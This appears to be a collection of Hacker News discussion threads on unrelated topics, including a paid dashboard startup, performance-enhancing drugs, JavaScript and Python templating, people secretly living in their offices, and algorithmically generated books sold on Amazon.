Excellence Is Not Attainable - <AUTHOR> http://doriandargan.com/post/48638220202/excellence-is-not-attainable

<comment><USER2> Or... stop writing yet another vague motivational blog post on "excellence" and actually build something.

<comment><AUTHOR> What are you building?

</comment></comment><comment><AUTHOR> "excellence is not a destination, it's the journey"</comment>


FlightCar (YC W13) offers wheels at SFO - <AUTHOR> http://www.sfgate.com/news/article/FlightCar-offers-wheels-at-SFO-4281519.php

<comment><USER2> "Share economy" is getting a lot of buzz these days.

What percentage of people are actually willing to share? and what percent is needed for these business to be viable?

Using airbnb as an example, what percent of the population is actually willing to rent a room in their house?</comment>


Show HN: Glance - Dashboard for Monitoring Personalized Data - <AUTHOR> https://www.glancedat.com/

<comment><USER2> _"(the first 30 days are free!)"_

Why? I don't understand the arbitrary 30 day limit, or the need to be charging at all for the basic service. It seems like the best way to gain adoption for a product like this is word of mouth. As a totally free product, they could get thousands or tens of thousands of users in a short time period. Real people having positive experiences with a product is the best marketing there is.

The strength of glance seems be design and UI. Charging a monthly fee doesn't seem to be the best way to take advantage of that strength. Nice UI products do best when they have lots of people using them. I feel like it's too much trouble to set it up knowing that I'll have to make a purchase decision after 30 days, (not to mention that it doesn't say what the price will ultimately be). This looks like a cool product, but this might not be the right business model.

<comment><USER3> Maybe this is their monetization strategy. Instead of incurring the high costs of supporting a large load of unpaid users and then trying to monetize the user base from there - maybe they want to get to revenue quickly.

<comment><USER4> I think it's up for debate as to whether you should test pricing in the MVP stage. In this case, I think it's in the best interest to leave pricing out of the question and first inquire as to whether people find it useful.

<http://qr.ae/1ygLq> \- my answer on quora regarding testing pricing while in MVP stage.

<comment><USER5> I think you're right. But what about the perceived value the beta testers have? Surely they won't be happy about paying for something that was free.

<comment><USER4> You're right in the fact that you'll piss off some people when you introduce a pricing plan later. This can be a very slippery slope and is the main reason why most b2c services don't charge for their software. I'm sure the team at Glance will be A/B testing for consumers vs enterprise, and the consumer registration won't have the 30-day trial text.

</comment></comment></comment></comment></comment><comment><USER6> SSL warning - You attempted to reach www.glancedat.com, but instead you actually reached a server identifying itself as *.nodejitsu.com. This may be caused by a misconfiguration on the server or by something more serious. An attacker on your network could be trying to get you to visit a fake (and potentially harmful) version of www.glancedat.com.

</comment><comment><USER7> After giving this a quick whirl, I like the concept a lot. However, for me to start paying they need to add a lot more features.

Here are my initial thoughts:

\- Ability to select multiple Google calendars, not just the default

\- Select more than just 1 Google Analytics account

\- Load the Inbox faster (takes about ~2 minutes to load currently...?)

\- Remember my layout of the cards

\- Some form of notification counter

And finally, how much will this service cost per month after my 30 day trial?

</comment><comment><USER8> I like this! It would look REALLY good as an open source project, not sure if I would pay for something like this. Focus on finding power users of multiple web apps and see what they need and promote it from that app outwards. Keep up the good work!

</comment><comment><USER9> Looks great, I was going to build something very similar to this for a side project. Look forward to trying it out.

</comment><comment><USER10> Reminds of Leftronic (<https://www.leftronic.com/>)

</comment><comment><USER11> In the similar "single-view" space: <http://hojoki.com>

</comment><comment><USER12> When I tried to register I got a blank page with:

An error has occurred: {"code":"ECONNRESET"}

</comment><comment><USER13> So kind of like a hootsuite but for your personal life instead of for your company it seems?

</comment><comment><USER14> intriguing idea</comment>


Ask HN: Thoughts on Performance Enhancing Drugs ie. Steroids or Adderall  - <AUTHOR> My opinion of "performance enhancing drugs" has always been that use should be allowed for all professional athletes. I use the rationale that if I have attention deficit disorder that makes me a less effective at my job as an accountant, then going to a doctor and getting a prescription for adderall is 100% ethical.
The same does not transition into athletics where in many cases these athletes (not limiting argument to cycling at all) are using the drugs for recovery and optimal performance. I don't think that any drug can replace hardwork, talent or develop muscle memory faster which are all key traits of successful athletes.
As a recent college graduate, it was common to see adderall and similar drugs rampantly abused and sold throughout campuses everywhere. To me they are just as much as a performance enhancing drug as steroids.
Just wondering everyone else's thoughts. <comment><USER2> If you're working in a field which is positive-sum and produces a lot of good, performance enhancements of any kind make sense. The idea behind athletic competition is that it's just an arbitrary competition, so having all competitors agree to some restrictive rules (like no drugs, no motorcycles in the race, etc.) is worthwhile within the competition.

I'm fine with Elon Musk cheating as much as he wants to get a mission to Mars accomplished -- sending multiple rockets, using robots to make fuel, etc. If someone needs/wants Adderall to do good and is willing to take the health consequences, go for it.

</comment><comment><USER3> As far as I know there are two main reasons for banning performance enhancing drugs in sport:

1\. The health of the athletes. High level athletes will absolutely fuck themselves up for a shot at winning. Pro cyclists have used EPO to increase their hematocrit levels so that their blood is too thick for their heart to pump; they die in their sleep when their heart rate drops. I'm sure there are other examples of people doing stupid stuff with steroids. The counter argument here is that people should be allowed to make their own decisions or that some drugs aren't that harmful.

2\. To promote fairness in competition. Poor countries cannot afford the advanced drug development programs that rich countries can. By banning PEDs they can compete fairly. I find this argument quite bogus in that so much of a nations sports performance is to do with money anyway; the latest equipment, altitude training camps, quality medical teams etc. don't come cheap.

Both of these could also apply to college students I guess.

</comment><comment><USER4> Not strictly on topic, but I'd be semi-interested in having a distinction between "Raw" and "Natural" athletics, cycling etc (as in bodybuilding), just to see what the difference in performance would be.

<comment><USER5> There are natural bodybuilding competitions, and the competitors look far more human. The difference is most pronounced when it comes to female bodybuilding. In female competitions the natural competitors often look very feminine, but the women who compete in the regular (drug enhanced) competitions often look like shaved gorillas.

</comment></comment><comment><USER6> Do you know what aderrall and ritalin does to your health right?

Ok, then. So use it as much as you want.

<comment><USER7> Completely agree. The amount of people's lives I've seen ruined due to drugs like Aderall is staggering. I can't imagine why anyone would willingly take it just to work a bit harder.

</comment></comment><comment><USER8> TANSTAAFL</comment>


C500k in Action at Urban Airship (2010) - <AUTHOR> http://urbanairship.com/blog/2010/08/24/c500k-in-action-at-urban-airship/

<comment><USER2> Pretty cool. I wonder how their usage pattern effects this. I would suspect they have lots of connections doing very little, but that have to be able to wake up and act. This is in contrast to an HTTP app where the connections are largely active.</comment>


Ask HN: Can anyone rec a simple templating language implemented in py and js? - <AUTHOR>

The goal is to be able to present json data as html/ui, and do the rendering both on the server or client side. Most of the time the server app will generate the html when the page first loads, but when a list gets updated via user interaction with javascript, I don't want to have custom javascript duplicating the rendering that happens in my python templates. I have been looking at JSON-template (http://bit.ly/aO27UM) but would love to know if anyone has any recs. Also looked at Google Closure templates, but they are implemented in server side java, not python. Anyone have any good solutions they recommend? <comment><USER2> Mustache: <http://mustache.github.com/>

For Python: <http://github.com/defunkt/pystache>

For Javascript: <http://github.com/janl/mustache.js>

Syntax docs: <http://mustache.github.com/mustache.5.html>

<comment><AUTHOR> Playing with mustache and liking it so far. Thank you!

</comment></comment><comment><USER3> This might be worth looking into:

<http://beebole.com/pure/>

I haven't used it in production, but I've found it interesting nonetheless.

<comment><USER4> The big difference PURE has with other templating engine is the total separation between the HTML representation and the JS logic.

As a result the JS code is live at rendering time and not stringified, allowing to pass functions as parameters and closures.

As the authors of the lib, we use it in production and are very satisfied of the speed. Some prominent newspapers here in Belgium are using it as well for some parts of their sites.

Thanks for the link.</comment></comment>


The rarest great ape on earth and their only forest is rapidly disappearing - <AUTHOR> https://www.telegraph.co.uk/news/2020/09/06/revealed-newly-discovered-orangutan-species-driven-extinction/ <comment><USER2> If given a choice, I won't buy gold mined from this mine. Hopefully it's all traceable.

<comment><USER3> The habitat of this species is about 1000 km2 [1]. According to the article, this gold mining company has deforested a bit less than 0.3 km2 since 2018.

[1] [https://en.wikipedia.org/wiki/Tapanuli_orangutan#Habitat_and...](https://en.wikipedia.org/wiki/Tapanuli_orangutan#Habitat_and_distribution)</comment></comment>


What to do When You Can't Write at Coffee Shops - <AUTHOR> http://www.theatlantic.com/personal/archive/2011/04/what-to-do-when-you-cant-write-at-coffee-shops/237576/ <comment><AUTHOR> I, for one, don't work at coffeeshops because a) I look up every time someone passes, b) spending long hours at a laptop keyboard would make me crazy, and c) I prefer having two large monitors to one tiny one.

Obviously, some people are getting things done in coffeeshops, but I wonder if they wouldn't actually be more productive somewhere quiet.

</comment><comment><USER2> I get my best work done at the library. Free Wifi that isn't saturated and a quite place to work.</comment>


What's really going on in PTSD brains? - <AUTHOR> http://www.psypost.org/2016/10/whats-really-going-ptsd-brains-experts-suggest-new-theory-45278 <comment><USER2> I taught Chelsea Manning how to drive when she was known as Bradley Manning. She (at the time 'he') worked for me in Oklahoma City at a startup coding in JavaScript. I'd pick him up in the morning on the way to work and would let him drive. He had a learner's permit at 17 because he had just moved back from England, where the driving age is older.

One day we pulled up to stop sign where the crossroad did not stop. I was discussing the art of scanning for traffic before pulling away from a stop sign when he began to unexpectedly make a right turn. As we were pulling into a path of an oncoming car, I instinctively slapped my left hand against his upper chest while shouting "Stop Bradley!" The result was curious, and was what I believe now to be a PTSD episode.

I had to put the car in park, set the brake, take out the key and go around and coax him out of the car because he was unresponsive to verbal input. He was just sitting there breathing in and out and just doing the long stare. He was probably that way for 4-5 minutes total. Never did get out of him what happened, other than some vague conversations about violence in his home when he was younger. Slapping him in the chest and shouting definitely triggered something.

If it weren't obvious, this was well before the Army hired her and she committed acts for which the government claims she is guilty and culpable. Not sure how someone with preexisting PTSD can be held responsible for all their actions, or should have ever been hired by the Army in the first place. Figured it was time I shared the story given her current situation.

<comment><USER3> Do you have anything to back that up?

For now this could just be some random internet person's tale.

<comment><USER4> Doesn't directly corroborate the story, but does back up that they worked together.

[http://www.nytimes.com/2010/08/09/us/09manning.html](http://www.nytimes.com/2010/08/09/us/09manning.html)

[https://www.washingtonpost.com/lifestyle/magazine/who-is- wik...](https://www.washingtonpost.com/lifestyle/magazine/who-is-wikileaks- suspect-bradley-manning/2011/04/16/AFMwBmrF_story.html)

</comment></comment></comment><comment><USER5> >> In the meantime, they note that there is a growing set of therapeutic tools that can help patients with PTSD, such as cognitive behavioral therapy mindfulness training and pharmacological approaches.

Notably absent from that list is EMDR, which is highly effective in a lot of people.

<comment><USER6> Came here to say this.

<comment><USER6> For convenience: [https://en.wikipedia.org/wiki/Eye_movement_desensitization_a...](https://en.wikipedia.org/wiki/Eye_movement_desensitization_and_reprocessing)

</comment></comment></comment><comment><AUTHOR> technical article referenced: [https://news.ycombinator.com/item?id=12680872](https://news.ycombinator.com/item?id=12680872)</comment>


I secretly lived in my office for 500 days - <AUTHOR> http://www.salon.com/2015/04/30/i_secretly_lived_in_my_office_for_500_days/ <comment><USER2> I once worked 2nd and 3rd shift for a project that encouraged such hours because there weren't enough servers to handle the load for everybody during the day. A few mornings around 5:00 AM I heard a weird high pitched noise but it went away before I could figure out what it was. The next time it happened, I immediately hunted it down. I narrowed it down to the men's restroom and opened the door to find a man standing in the nude using a blow dryer. He was a contractor who had moved from another state. He had been sleeping in his truck and using the shower in the employee restroom every morning.

I became less enthusiastic about hunting down the source of weird noises after that.

</comment><comment><USER3> Some years ago I worked at a large aerospace firm in the L.A. area. 20,000 people worked there and with that many people there are bound to be a few odd ones. Several lived in their cars in the parking lot. But the weirdest one was the guy who was living in the ceiling above his office. The story goes that one night a security guard noticed some movement in a hallway and went to investigate. He saw some wet footprints that led from the bathroom into an office and right up the wall. He pushed up the ceiling panel and found a room outfitted with lights, seat cushions and a sleeping bag. The guy had apparently been living up there for several months.

<comment><USER4> What a sad way to waste your life. I'm sure he had other options considering he worked in an office at a "large aerospace firm," right?

<comment><USER5> I really don't get this attitude. It's not for everyone, but it's a great way to save money. Do this for awhile and you can save up to purchase a home outright or at least have a sizable down payment.

I interviewed for a job in Chicago with a company where one of the employees lived in the office. Unlike the Salon article, this employee openly asked if he could live in the office to save himself the cost of rent. The employer had no issue with it. In his office there was a small basic cot that he slept on.

<comment><USER6> I think it boils down to "work now, play later" vs. "work now, play now" philosophies.

On the one hand you have the people who give 100% of their day to work, with the goal of building up F-U money and never working again.

On the other hand you have the people who make less & save less and plan on working longer, but take more of their day for themselves.

I don't think I can say either philosophy is wrong, but they definitely don't see eye-to-eye. They have different value systems.

<comment><USER7> If cumulative happiness over your life is the goal then the first one is clearly the wrong approach. The probability that you will die/become incapacitated/have health issues before you can either build up or enjoy for a long period of time that F-U money puts a discount on the entire end state.

<comment><USER8> Why would cumulative happiness be a goal? Happiness is not a things that accumulates.

<comment><USER9> ... Time spent happy does accumulate.

That means he wants to have spent a life being happy as much as possible.

<comment><USER8> No, _memories_ accumulate. And in my very normal and apparently common experience, rose colored glasses and "I earned my success by struggling" make up for any past lack of happiness I've experienced. Those memories are white- washed unless you've had some severe trauma.

So the only thing that really matters is if you currently happy, or if you are about to become happy. Nothing accumulates.

<comment><USER9> if memories accumulate, something accumulates.

If you're the kind of person that likes to go up the ladder, every step up provides you with happiness so I don't think your story is a counter example.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER10> I used to do this when I was an executive at a software firm in Boulder, Colorado. I maintained a home in another state but commuted to Boulder every week. For a while I had a great deal on a shared condo but when the owner sold it I was faced with staying in hotels or... sleeping in my cubicle under the desk. There was a shower for employees so I would just get up early and be ready to go by 6 am. No one ever discovered me in my sleeping bag.

<comment><USER11> Why didn't you telecommute? I've often considered taking a high salary job in a high cost of living area ie san francisco, boston, or new york. And maintaining a residence somewhere cheaper. If one could arrange a schedule of four ten hour days it might be doable.

The obvious problems are part time housing and travel ie air fare. How did you handle this? Has anyone done this?

</comment></comment><comment><USER12> I read a couple of essays from googliers who did this. Google provides nearly all your needs in office- free food, recreation, laundry- save a many hour sleep spot. And people work and hang out 12, 15 hours then. So why pay high rent only to sleep and put up with terrible commute traffic. In the open office environment of new techs finding sleep spots is harder. But many sleep in their vehicles in a climate rarely freezing or roasting.

<comment><USER13> If I got paid a Google salary, there's no way I couldn't afford to find an apartment in Santa Clara County. Note I didn't say fancy condo, 3 bedroom ranch house with two car garage and spacious lawn, or townhouse.

<comment><USER14> I talked to a google recruiter a couple years ago and if I took the job and moved to mountain view, my current lifestyle of "3 bedroom ranch house with two car garage and spacious lawn" would be utterly impossible, so goodbye.

This was very close to the national peak of the housing bubble, things may have gotten better since then.

<comment><USER13> The problem is that you insist on living the mid 20th century American Dream.

<comment><USER15> Not really. That's current day for most of the US. It's SF that is broken.

</comment></comment></comment></comment></comment><comment><USER16> The main problem I see that led to this situation is the author picking one of the most expensive places in LA to live, Venice Beach. The author could have chosen a much less expensive (but less glamorous) area, say in Koreatown or somewhere else inland. There are lower rent areas in LA, you just need to compromise your lifestyle a bit.

<comment><USER17> The compromise is losing 2 hours a day in your car. This is why I didn't take the job in LA.

<comment><USER18> Google Maps says Koreatown and Venice Beach are 15 miles apart. Some time late in the 21st Century or early 22nd Century humans will realize that great mass transit can really make life more enjoyable, and that'll be a 15 minute commute. It's pretty amazing how bad things have to get before people wake up.

<comment><USER19> Having commuted to work in Brussels, a city often described as having great mass transit (and when it's not busy, that's absolutely true)

Here's my observations :

1) despite not paying for itself (the state pays hundreds of millions yearly to make up for the losses of the public transport system) it's a little bit more expensive, per kilometer, than taking a car (train + metro vs gas). Even for longer distances, planes are actually cheaper than trains. If you get a company car and just pay for fuel, it's half the price. Otoh, parking in some places drives the price back up (but then you can park near a metro station and only use public transport for the last kilometer or so. Or a folding bike, I've had colleagues who did that).

2) when you want to use them to commute, they're not just busy, they're off the scale full. You can only stand and sometimes you miss your train because you literally can't squeeze in. (I tried first class for a week, but that makes it a multiple of the price of using a car, and you still need to stand)

3) the comfort level, compared to a car, is off the scale worse. You can take things along in a car, whereas there is a clear and very small capacity limit to what you can take on public transport. 40kg, backpack size, no more, groceries for a week is doable, furniture, electronics, not really doable (I tend to put those on a bike and walk home beside it). And I'm a 200 pound guy, I'd hate to think what the limits are if you're 80 pounds.

4) In Belgium you have one or two days per year where cars can't actually get around in the capital (frozen snow on the road combined with a lot of sloped roads makes it just too dangerous for cars, even if you walk you'll probably fall down painfully). A few more days accidents on the highways will mean you're late by 2-3 hours (I was once 7 hours late due to traffic). That is less than the days public transport doesn't work due to union actions. Because of the amount of times this happens, your boss will not, in fact understand. 5-10 days a year you can't get to work using public transport. With a car, 5 days a year you'll be 2 hours late and 1 day you won't show up.

5) If you calculate cars versus public transit capacities, it is obvious : cars scale better (I think this is mostly because car capacity expansions are cheaper for the government to implement, so they happen every time a rightist government comes to power in a given municipality, car capacity expansions happen, usually by diverting traffic. Public transport expansions happen once in a decade at best, and one line at a time. Recently a public transport line to the airport made traffic on a few lines much better)

Imho, the solution to public transport is fast, efficient, driver-less, door- to-door, car sharing. That can work, and won't be bogged down into a morass of substandard service by unions. We need to improve matters, and I no longer believe buses and trains and even metros are the answer.

Here's an article describing things from the perspective of a commuter [http://www.uwgb.edu/dutchs/pseudosc/masstransit.htm](http://www.uwgb.edu/dutchs/pseudosc/masstransit.htm)

<comment><USER20> Cars are terrible at scaling. The core problem is roads take a lot of surface area so adding traffic lanes reduces density which forces longer commutes. Add to that you need parking at both ends which reduces density further. [http://streets.mn/wp-content/uploads/2014/09/car-vs-bike- vs-...](http://streets.mn/wp-content/uploads/2014/09/car-vs-bike-vs-bus.jpg)

They are also worse for the environment and kill lot's of people.

PS: Cars also have huge direct and indirect subsides, consider who pays for your parking space while at work? Hypothetically in a major city ~2 * 100$ parking spaces + ~100$ insurance = ~300$ a month or 15$ per workday day even if your car, gas, and roads where free.

<comment><USER19> You're absolutely right that cars don't scale well in theory, but when it comes to expanding capacity when that is necessary, cars outperform public transport. This is mostly because space is not often in short supply, but money always is.

Cars seem to have much better support for their expansion from governments, and that this results in better real-world scaling. It seems to me this is in no small part because car infrastructure is way cheaper per extra person of capacity than mass transit.

Both cars and mass-transit have huge subsidies, at least in Belgium.

<comment><USER20> Belgium has decent public transit and is below the point where cars have issues with scaling. It's really more an issue with sprawling mega city's where the suburbs can only expand in one direction. So ocean / mountains on one side, north and south huge city's so everyone is coming from one direction.

</comment></comment></comment></comment></comment></comment></comment><comment><USER21> Must have been pioneer in this area. A bit over ten years ago I once had a good job in Santa Monica, but was tired of paying ridiculous rent for a shoebox that I was never at. So I packed up, slept in the underground parking garage, and went to the gym every day.

Was in the best shape of my life and saved 40k that year, which I later turned into a 2-year trip around the world. Was definitely worth it.

<comment><USER22> How did that work for your sex life? Bringing ladies home to a van is my main reason for not wanting to do this.

<comment><USER21> I think I was single the first half. I did meet a nice girl the second, but i strung it a long for a while, and even then she had low self esteem an so she didnt give me a hard time about it.

<comment><USER22> What an unsavory answer.

I guess I can kind of answer my own question, though. An adult woman who shares my values wouldn't care if I lived in a van.

<comment><USER23> Would you prefer a less-truthful one?

</comment></comment></comment></comment></comment><comment><USER24> I wonder what would happen if this form of housing became more popular. Maybe soon we'll be reading accounts about two office-overnighters who inevitably found about one another.

<comment><USER25> It sounds like something Japanese people would do since apparently the commutes in Japan are horrifying long.

Those capsule hotels in Japan have been around for quite awhile.

I've thought of creating an apartment building of pod apartments it seems to be a Millenials thing to couch surf or share apartments.

<comment><USER26> Seattle has aPodments - [http://apodment.com/](http://apodment.com/)

<comment><USER27> The name is misleading, they're just very small apartments with a design carefully chosen to minimize regulatory constraints & tax burden. They go for about $600 a month.

</comment></comment></comment></comment><comment><USER12> This was not rare in college. One school had a 364/24 library and students took over a study correl with their books and a few belongings. Others lived in closets or cars. I think the janitors knew but did not care. I did this a few times myself when there were gaps between residences and I run out of placed to crash.

<comment><USER28> When I was in grad school, one of the other grad students lived in his office. We all looked the other way when he shifted the desks around (leaving a couple of the other grad student desks kind of cramped) to make room for a sofa. "Yeah, that'll be real comfortable to... sit on... while doing math. That's what it's for!"

I'm pretty sure all of the faculty and staff in our department knew about it too.

<comment><USER29> I think there's a difference between doing this in _your_ office, and an office you share with others.

If I needed to stay late to study, or grade assignments, or whatnot, I would be pretty annoyed if my office-mate asked me to leave because it was his bed- time.

<comment><USER30> I think "throwing people working late out" isn't one of the things you get away with doing that.

</comment></comment></comment></comment><comment><USER31> It might change for me in the future, but at this point in my life commuting seems really inefficient and annoying. It's not just the time lost while in your car (I listen to music anyway) but the stress of having to basically exist in two places.

I appreciated the Thoreau references in the article. Perhaps moving into my office isn't the best simplifying solution, but it's a nice parable for improving daily routine.

<comment><USER32> Mind you, Thoreau would probably abandon the office-drone life altogether...

</comment></comment><comment><USER33> At the end of the 1980s, I worked with a guy who was forty, newly divorced after about twenty years of marriage, and out to have the early twenties that he considered he had missed. After hearing about a late-night burglar alarm once or twice in the building, I asked the programming section's administrative assistant whether this guy was living in his office. She looked away, and didn't want to discuss it. I don't think that he was destitute, just thrifty. He had, he said, a twenty-one-year-old girlfriend, but I suppose he couldn't stay with her all the time.

</comment><comment><USER34> I lived in my car under similar-ish circumstances. Was getting a company off the ground, needed to be in Silicon Valley to raise money, was unwilling to pay $800/month for a single terrible bedroom, and had read a lot of Thoreau and already given away almost everything I owned to vagabond around China.

It's kind of a pain living on $200-300 a month, but it's really not that bad. You start to realize that most of the stuff people spend their whole lives working to buy they don't need. The forced routine of going to a gym is one I've tried not to get out of the habit of. I actually think it's a very healthy way of life, assuming you find a way to eat well.

More here: [http://austenallred.com/voluntarily-homeless-in-silicon- vall...](http://austenallred.com/voluntarily-homeless-in-silicon-valley/)

Now I have an apartment (am married with a baby on the way), but I put about half of what I earn into killing debt/building a savings. I'll be debt-free next month with 10k in the bank, having had 0 savings and 20k in debt a couple years ago. I only pay myself 50k/yr.

<comment><USER35> How do you eat well and not cost a ton of money? I imagine you don't get the opportunity to store food or cook it effectively.

</comment></comment><comment><USER36> Maybe companies could start offering that as a perk. Perhaps something like the Japanese Capsule Hotels? A place to sleep in the office.

[https://en.wikipedia.org/wiki/Capsule_hotel](https://en.wikipedia.org/wiki/Capsule_hotel)

</comment><comment><USER37> I did that for just a little while, when going through a divorce. It was kind of fun. I had what I needed at work: shower room, place to sleep, Internet access.

A fridge to keep groceries and a microwave oven too.

I ate canned food, combined with fresh vegetables.

I discovered that using a microwave, you can easily bring water to a simmer in a plastic container, and by that means, you can cook pasta very nicely. (I'm sure it saves energy compared to stove top pasta boiling. It takes about ten minutes (same) and the wattage of the microwave is not only lower, but you don't use it on full power.)

Toaster ovens help too. If your office doesn't have one, just go out and buy one. You can revive a store-bought frozen casserole dish in one of those things.

</comment><comment><USER38> I lived in a grape cooler on a grape farm for several months once (in the non- cooled part). It had a bathroom but no shower. I made one out back on a cement slab with a hose, a garden water wand and a tarp.

<comment><USER39> Paradise! ([https://youtu.be/DAtSw3daGoo](https://youtu.be/DAtSw3daGoo))

</comment></comment><comment><USER40> I've slept in my office a few times and could probably do it for a month or so without anyone being mad about it. I'm not a morning person at all so being first at the office is a great feeling.

</comment><comment><USER41> One day I got into work much earlier than usual. I didn't think anyone else was there until I started typing. A programmer who had fallen asleep in his chair awoke with a startle, then started typing himself.

Funnily, he always left early in the day and was lauded by his teammates for doing the hard work in the morning when no one was around so he could concentrate.

</comment><comment><USER42> I don't recommend doing it in a small startup in a small office where people come in early and stay late - we had someone trying to live and work nights in our office in Shoreditch years ago, and he did get noticed after a while.

</comment><comment><USER43> There was a Doonesbury strip that did this. Seems to be too old for the doonesbury.com to have in their online archives, though.

</comment><comment><USER44> I've heard people who live with their parents proclaim how great it is. They don't have to pay rent or do their own laundry or anything us terrible materialistic people do. It's great for saving money. For reasons that I hope would be obvious I'm not interested in that sort of "lifestyle choice".

This guy is worse because at least people who are mooching off their parents aren't literally stealing from them.

<comment><USER45> I live with my mom and my sister and do the cleaning, cook daily for our lunch and dinner, sweep and mop the floor, buy groceries, handle bills, etc.

Most of the people that I know that live at home do the same. How exactly are we mooching off our parents?

<comment> xkcd-sucks Maybe there's a trend towards shaming families because families are economic structures which compete with governments and corporations?</comment></comment></comment>


Most popular Brazilian projects on GitHub - <AUTHOR> https://email@example.com/most-popular-brazilian-projects-on-github-3d89823547bf <comment><USER2> So "meta projects" are now the most popular ones. It may reflect the non- developer mainstream who just found GitHub...</comment>


Leaders lose mental capacities, most notably for reading other people (2017) - <AUTHOR> https://www.theatlantic.com/magazine/archive/2017/07/power-causes-brain-damage/528711/ <comment><USER2> Being in a leadership position requires disregarding what people think and feel in order to make the best decision. Also, as you're in the center of attention, it causes cognitive overload. Tuning down empathy is probably required to do the job.

<comment><USER3> Maybe disregarding what people feel is OK, but disregarding what they think is almost the primary folly the article is describing. Disregarding what people think is almost guaranteed to result in bad decisions.

</comment></comment><comment><USER4> Discussed at the time: [https://news.ycombinator.com/item?id=14588308](https://news.ycombinator.com/item?id=14588308)

</comment><comment> async-await I have a theory that we are very intuitive of people who have leverage or influence over us for example a boss who can hire or fire. We have to be very conscious of that person whereas that person doesn't have to bother reading us.

<comment><USER5> That's a well established notion in anarchist thought as well as feminist thought (as an explanation for why women are considered inscrutable but women are also considered empathetic- because men don't really have to put in the effort.)

[https://amp.reddit.com/r/Anarchism/comments/14qprl/explanati...](https://amp.reddit.com/r/Anarchism/comments/14qprl/explanation_of_structural_stupidity_by_david/)

<comment><USER6> This is the first I've heard of women being considered inscrutable.

<comment><USER5> [https://www.urbandictionary.com/define.php?term=Women%20Logi...](https://www.urbandictionary.com/define.php?term=Women%20Logic)

<comment><USER6> One can be totally irrational and still completely scrutable.</comment></comment></comment></comment></comment>


Programmer creates 800,000 books algorithmically, starts selling them on Amazon - <AUTHOR> http://www.extremetech.com/extreme/143382-programmer-creates-800000-books-algorithmically-starts-selling-them-on-amazon?utm_source=rss&utm_medium=rss&utm_campaign=programmer-creates-800000-books-algorithmically-starts-selling-them-on-amazon <comment><USER2> I work in ecommerce and this guy and others like him have been creating this stuff for 3-4 years. It's a massive annoyance for us as the only real identifier we got from suppliers is the publisher name, we blocked them for awhile but then we started seeing a massive range of publisher names coming through in order to get around blocks (I assume every other retailer was blocking them as well).

When we first started seeing the automated content books, literally overnight our product set increased several million titles - I now estimate that about 20 million of the 50 million products we have are automated books (they come out with new "editions" all the time as well). This obviously has a massive impact on our search results - these books have keyword laden titles and descriptions, and without a solid identifier it was very difficult to get rid of them. Thankfully recently the suppliers that print these products have started flagging them as crapware.

As for the customer response to this type of product - it's definitely negative, with a massive return rate. As far as I am concerned, this is a massive scam - hedging on the fact that some people are to lazy to return the books.

<comment> powershop-co I wonder if it wouldn't be a good idea to "hellban" them. When they visit the site, they see the books - but for all other users they'd effectively be invisible. It might not be worth the programming effort, though. I wonder how many books this guy sells.

</comment></comment><comment><USER3> Just what Amazon needs: 800,000 computer-generated books crapping up the listings along with the thousands of on-demand printed copies of Wikipedia articles. Wonderful.

<comment><USER4> I can't believe this guy has no sense of humor[1]! He's completely serious about providing a service and making tons of money from it.

In one question the interviewer asks: 'could you make a novel for instance?' to which he replies 'well, novels don't usually make money'. Wouldn't you think the correct answer would be 'well, it wouldn't be very good'?

Hauntology at its best[2].

[1] <http://www.youtube.com/watch?v=m8WuGKyBR90>

[2] <http://booktwo.org/notebook/hauntological-futures/>

<comment><USER5> > _"to which he replies 'well, novels don't usually make money'. Wouldn't you > think the correct answer would be 'well, it wouldn't be very good'?"_

Perhaps the same question can be posed to many startup founders in our community. Very often people in the startup scene seem much more interested in extracting profit (or really, just making the exit) rather than creating something _good_ (in whatever way that you might personally define goodness).

<comment><USER6> Plenty of developers write software never hoping to make a dime from it or hire anyone else to work on it. But they have little reason to worry about incorporation or branding or 'pivoting' or 'series a funding' or 'growth hacking', and they self-identify as 'open source developers' rather than 'start up entrepreneurs'.

</comment></comment></comment></comment><comment><USER7> Aw, man. I used to hate this guy when I worked on the title authority team. The programmatic titles alone often caused the title matchers to infer that all the books were somehow related, and cluster them all together. Oh, the happy hours spent unpicking the resulting mess. The Wikipedia guy was the worst in terms of sheer pointlessness though. Personally I'd delete the lot of them. Hard to think that your job is worthwhile when it consists of cleaning up after other people's crappy perl scripts...

<comment><USER8> _Hard to think that your job is worthwhile when it consists of cleaning up after other people's crappy perl scripts..._

At least you are not alone. Every sysadmin in the world knows how you feel.

</comment></comment><comment><USER9> Ugh. It feels like the cesspool of the SEO underworld is physically manifesting itself.

<comment><USER10> I was waiting for that to come from the 3D printing crowd, but books on-demand work too.

<comment><USER11> 3D Spam? Oh my

</comment></comment></comment><comment><USER12> Phil Parker here. Interesting posts. Here are some links that can clarify for some: Here is a piece about reaching underserved subjects/languages: [http://www.huffingtonpost.com/jeff-jarvis/davos-2011-too- lit...](http://www.huffingtonpost.com/jeff-jarvis/davos-2011-too-little- con_b_814778.htm) Here is a current project dealing with agriculture: [http://gulfnews.com/news/gulf/uae/education/campus-in-abu- dh...](http://gulfnews.com/news/gulf/uae/education/campus-in-abu-dhabi-helps- make-farming-easier-with-new-radio-technology-1.1041606) Here is a poetry project (graph theoric stuff): <http://totopoetry.com/poetry/credits/edgepoetry.htm>

My favorite page: <http://www.totopoetry.com/search.asp?word=truth> I have used this approach to write definitions as well (www.websters-online- dictionary.org) The following contrasts definitions of zealously: 1\. In a zealous manner. [Human] 2\. In an enthusiastic, fervid, ardent or fervent manner. [graph theoretic] 3\. In a fanatical manner. [graph theoretic]

A vid on fiction automation: <http://vimeo.com/17168987> A debate/reaction amongst literature people: [http://www.thepassivevoice.com/10/2012/can-robots- really-wri...](http://www.thepassivevoice.com/10/2012/can-robots-really-write- novels/) Cheers Phil p.s. most of the "books" are used by businesses in narrow markets, and are econometrically estimated, not compiled from internet sources.

<comment><USER13> Phil! Is that Phil Phil or motion-capture salamander Phil?

<comment><USER12> Of course!

</comment></comment></comment><comment><USER14> In the video it can be seen that a fair amount of what the automated system does is versatile formatting ... in Word and Excel. But why oh why? (Semi)-automated formatting of documents is a problem that has been solved with expert results in LaTeX.

Also deviations in the data are recognized and highlited, but not (yet?) examined and elaborated upon. No doubt this will be possible in the near future.

So, kudos for the general approach. Can't wait for the automated reading programs for digesting these books. And that is meant only half jokingly. The data is there, the general knowledge is there and there is enough reasoning power to draw conclusions. The next step would be to make automated descisions based on the available data, so politicians could join the authors in beeing unemployed...

Well I for one welcome our new text blasting overlords.

